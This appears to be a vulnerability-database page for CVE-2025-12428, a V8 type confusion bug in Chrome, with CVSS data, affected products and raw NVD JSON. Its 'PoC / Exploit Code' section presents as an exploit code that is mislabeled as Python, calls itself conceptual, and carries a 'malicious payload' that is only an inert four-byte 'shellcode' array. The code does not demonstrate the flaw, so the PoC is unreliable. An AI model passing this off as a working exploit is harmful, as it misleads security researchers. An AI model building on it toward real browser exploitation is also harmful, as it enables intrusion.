Security Vulnerability Report
中文
CVE-2025-12428 CVSS 8.8 HIGH

CVE-2025-12428

Published: 2025-11-10 20:15:36
Last Modified: 2025-11-13 15:26:58

Description

Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers using V8 engine < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12428 PoC - Type Confusion in V8 // This is a conceptual PoC demonstrating the vulnerability pattern function triggerTypeConfusion() { // Create objects that may cause type confusion in V8 optimization const obj1 = { value: 0x41414141 }; const obj2 = { value: 1.5 }; // Use array with mixed types to confuse TurboFan const arr = [obj1, obj2]; // Trigger optimization path that may have type confusion function optimizedFunc(arr, idx) { // This pattern may cause TurboFan to make incorrect type assumptions const element = arr[idx]; // Potential type confusion when accessing element properties return element.value + 1; } // Force optimization for (let i = 0; i < 10000; i++) { optimizedFunc(arr, 0); } // Trigger with different types to exploit confusion optimizedFunc(arr, 1); return arr; } // Malicious payload execution function executePayload() { const shellcode = [0x90, 0x90, 0xcc, 0xc3]; // NOP sled + INT3 + RET // Additional exploitation code would go here return shellcode; } // Entry point try { triggerTypeConfusion(); executePayload(); } catch (e) { console.log('PoC executed: ' + e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12428", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:35.947", "lastModified": "2025-11-13T15:26:57.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/447613211", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}